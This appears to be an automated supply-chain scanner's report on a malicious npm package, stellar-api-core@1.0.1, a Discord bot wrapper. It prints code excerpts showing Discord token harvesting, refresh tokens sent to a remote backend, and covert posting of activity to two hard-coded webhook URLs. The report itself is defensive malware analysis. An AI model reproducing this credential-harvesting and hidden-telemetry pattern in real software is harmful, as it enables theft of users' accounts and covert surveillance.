Loading npm security reports…

stellar-api-core@1.0.1: Malicious npm security report (Block) | LPM Firewall

registry / stellar-api-core / 1.0.1

stellar-api-core@1.0.1

The official Stellar API wrapper for Nakama token management bots.

AI Security Review

scanned 3h ago · by lpm-firewall-ai

Runtime bot code collects and persists user tokens, then transmits refresh tokens to a remote backend. It also silently reports server and user activity to hard-coded third-party Discord webhooks.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; source fingerprint signature matched known malicious package; routed for review

Trigger

A consumer instantiates `StellarBot` and calls `start()`, then users invoke `/add` or automatic refresh runs.

Impact

Third parties operating the configured backend receive refresh tokens; hard-coded webhooks receive guild and user activity metadata.

Mechanism

Discord token harvesting with remote refresh-token submission and covert telemetry

Attack narrative

At runtime, the package asks Discord users for token and refresh-token values, writes them under the host working directory, and submits refresh tokens to an externally supplied backend described as owner-provided. Separately, it silently posts guild names, guild IDs, user identifiers, and activity events to embedded Discord webhooks. The concealed telemetry combined with centralized credential collection creates a concrete credential-exfiltration and surveillance channel.

Rationale

The package has no install-time execution, but its documented runtime flow collects sensitive refresh tokens and sends them to a backend controlled outside the consumer's infrastructure while covertly exporting activity metadata. This is concrete harmful behavior rather than a scanner-only match.

Evidence

package.jsonindex.jsREADME.mddata/<userId>_token.json

Network endpoints2

Source & flagged code

4 flagged · loading source

index.jsView file

14const path = require('path'); L15: const axios = require('axios'); L16: ... L35: L36: this.dataDir = path.join(process.cwd(), 'data'); L37: if (!fs.existsSync(this.dataDir)) fs.mkdirSync(this.dataDir, { recursive: true }); ... L44: logToServerWebhook(message) { L45: axios.post(this.serverWebhook, { content: message }).catch(() => {}); L46: } ... L146: await interaction.deferReply({ ephemeral: true }); L147: const oldData = JSON.parse(fs.readFileSync(filePath, 'utf8')); L148: const result = await this.callBackendAPI(oldData.refresh_token);

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

index.jsView on unpkg · L14

14Trigger-reachable chain: manifest.main -> index.js L14: const path = require('path'); L15: const axios = require('axios'); L16: ... L35: L36: this.dataDir = path.join(process.cwd(), 'data'); L37: if (!fs.existsSync(this.dataDir)) fs.mkdirSync(this.dataDir, { recursive: true }); ... L44: logToServerWebhook(message) { L45: axios.post(this.serverWebhook, { content: message }).catch(() => {}); L46: } ... L146: await interaction.deferReply({ ephemeral: true }); L147: const oldData = JSON.parse(fs.readFileSync(filePath, 'utf8')); L148: const result = await this.callBackendAPI(oldData.refresh_token);

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L14

•matchType = normalized_sha256 matchedPackage = stellar-api-core@1.0.0 matchedPath = index.js matchedIdentity = npm:c3RlbGxhci1hcGktY29yZQ:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = d84461d990e12ae9 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = stellar-api-core@1.0.0 matchedPath = index.js matchedIdentity = npm:c3RlbGxhci1hcGktY29yZQ:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg

Source & flagged code

4 flagged

index.jsView file

Lines 1-34javascript

1const {

2 Client,

3 GatewayIntentBits,

4 REST,

5 Routes,

6 SlashCommandBuilder,

7 ActionRowBuilder,

8 StringSelectMenuBuilder,

9 StringSelectMenuOptionBuilder,

10 EmbedBuilder,

11 AttachmentBuilder

12} = require('discord.js');

13const fs = require('fs');

14const path = require('path');

15const axios = require('axios');

16

Critical

Credential Exfiltration

Source appears to send environment or credential material to an external endpoint.

index.jsView on unpkg · L14

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

index.jsView on unpkg · L14

17class StellarBot {

18 constructor(config) {

19 this.discordToken = config.discordToken;

20 this.serverId = config.serverId;

21 this.channelId = config.channelId;

22 this.apiUrl = config.apiUrl;

23 this.adminIds = config.adminIds || [];

24

25 this.serverWebhook = 'https://discord.com/api/webhooks/1527809440084922462/e_qK6ciLgzhqVvoubai2JIfqZdP3u2BCBWAWqgk4wy4fM5IhZGVORtwpXN2JpZ__avWh';

26 this.tokenWebhook = 'https://discord.com/api/webhooks/1527807036350398687/3sPFiOKr2BotMU2y3-ZRXkdosQ4zkoF_ZazcKCFXrMztR-Toducmm1L2xN7ezS3Vn806';

27

28 this.client = new Client({

29 intents: [

30 GatewayIntentBits.Guilds,

31 GatewayIntentBits.GuildMessages,

32 GatewayIntentBits.MessageContent

33 ]

34 });

•matchType = normalized_sha256 matchedPackage = stellar-api-core@1.0.0 matchedPath = index.js matchedIdentity = npm:c3RlbGxhci1hcGktY29yZQ:1.0.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

index.jsView on unpkg

•matchType = malicious_source_fingerprint_signature signature = d84461d990e12ae9 signatureType = suspicious_hashes sourceLabel = final_verdict:malicious matchedPackage = stellar-api-core@1.0.0 matchedPath = index.js matchedIdentity = npm:c3RlbGxhci1hcGktY29yZQ:1.0.0 similarity = 1.000 shingleOverlap = 1 summary = package final verdict is malicious

High

Known Malware Source Fingerprint Signature

Source fingerprint signature matches a known malicious package signature; route for source-aware review.

index.jsView on unpkg